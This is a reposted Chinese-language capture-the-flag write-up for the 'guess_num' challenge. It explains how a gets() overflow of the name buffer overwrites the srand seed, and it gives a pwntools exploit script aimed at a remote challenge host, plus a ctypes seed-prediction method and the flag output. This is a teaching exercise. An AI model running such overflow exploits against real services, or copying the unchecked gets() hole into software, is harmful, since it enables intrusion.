題目描述:
菜雞在玩一個猜數字的游戲,但他無論如何都銀不了,你能幫助他么
題目場景:
220.249.52.133:35323
題目附件:
b59204f56a0545e8a22f8518e749f19f
題目思路:
隨機函式生成的亂數并不是真的亂數,他們只是在一定范圍內隨機,實際上是一段數字的回圈,這些數字取決于隨機種子,
解題程序:
載入IDA64,找到main函式,F5反編譯得到偽C代碼,發現輸入v8名字時可以覆寫sreed[0],這樣這個亂數列就可控了,
__int64 __fastcall main(__int64 a1, char **a2, char **a3){
FILE *v3; // rdi
int v5; // [rsp+4h] [rbp-3Ch]
int i; // [rsp+8h] [rbp-38h]
int v7; // [rsp+Ch] [rbp-34h]
char v8; // [rsp+10h] [rbp-30h]
unsigned int seed[2]; // [rsp+30h] [rbp-10h]
unsigned __int64 v10; // [rsp+38h] [rbp-8h]
v10 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
v3 = stderr;
setbuf(stderr, 0LL);
v5 = 0;
v7 = 0;
*(_QWORD *)seed = sub_BB0(v3, 0LL);
puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:");
gets(&v8);
srand(seed[0]);
for ( i = 0; i <= 9; ++i ){
v7 = rand() % 6 + 1;
printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &v5);
puts("---------------------------------");
if ( v5 != v7 ){
puts("GG!");
exit(1);
}
puts("Success!");
}
sub_C3E();
return 0LL;
}
進入v8,var_30在堆疊中占0x20,也就是十進制的32,可以覆寫到seed,如果使輸入的guessnumber,即v5=v7=亂數%6+1,即可運行sub_C3E得到flag
-0000000000000030 var_30 db ?
......
-0000000000000011 db ? ; undefined
-0000000000000010 seed dd 2 dup(?)
-0000000000000008 var_8 dq ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
在呼叫rand()函式時,必須先利用srand()設好亂數種子,如果未設亂數種子,rand()在呼叫時會自動設亂數種子為1,
方法一:使用python標準庫中自帶的ctypes模塊進行python和c的混合編程,
第7行的lib/x86_64-linux-gnu/libc.so.6檔案相當于windows 的*.dll,屬于動態運行庫,
第8行的p32(0x1)也可以換成p64(0x1),因為p32是轉化成4位元組,p64是轉化成8位元組,在引數是數字的情況下是相等的,
from pwn import *
from ctypes import *
io = remote("220.249.52.133","35323")
#io = process('./guess_num')#本地除錯
#elf = ELF('./guess_num')#在腳本中通過elf檔案查找
#libc = elf.libc
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")#使用ldd查找
payload = "a" * 0x20 + p32(0x1)
io.recvuntil('Your name:')
io.sendline(payload)
libc.srand(0x1)
for i in range(10):
num = str(libc.rand()%6+1)
io.recvuntil('number:')
io.sendline(num)
io.interactive()
'''giantbranch@ubuntu:~/Desktop$ python 1.py
[+] Opening connection to 220.249.52.133 on port 35323: Done
[*] Switching to interactive mode
---------------------------------
Success!
You are a prophet!
Here is your flag!cyberpeace{607af6232982005da7c903b914da26f7}
[*] Got EOF while reading in interactive'''
方法二:本地撰寫一個python程式,使用0x61616161作為種子來生成亂數列,
from ctypes import *
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(0x61616161)
for i in range(10):
num = libc.rand()%6+1
print(num)
0x61616161是a,所以在輸入名字時輸入很長的a就可以溢位覆寫隨機種子,按照輸出的順序輸入數字就可以得到flag
giantbranch@ubuntu:~/Desktop$ nc 220.249.52.133 35323
-------------------------------
Welcome to a guess number game!
-------------------------------
Please let me know your name!
Your name:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
......
-------------Turn:10-------------
Please input your guess number:2
---------------------------------
Success!
You are a prophet!
Here is your flag!cyberpeace{607af6232982005da7c903b914da26f7}
*** stack smashing detected ***: ./guess_num terminated
cyberpeace{607af6232982005da7c903b914da26f7}
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/257181.html
標籤:其他
上一篇:2021美賽B題翻譯(僅供參考)
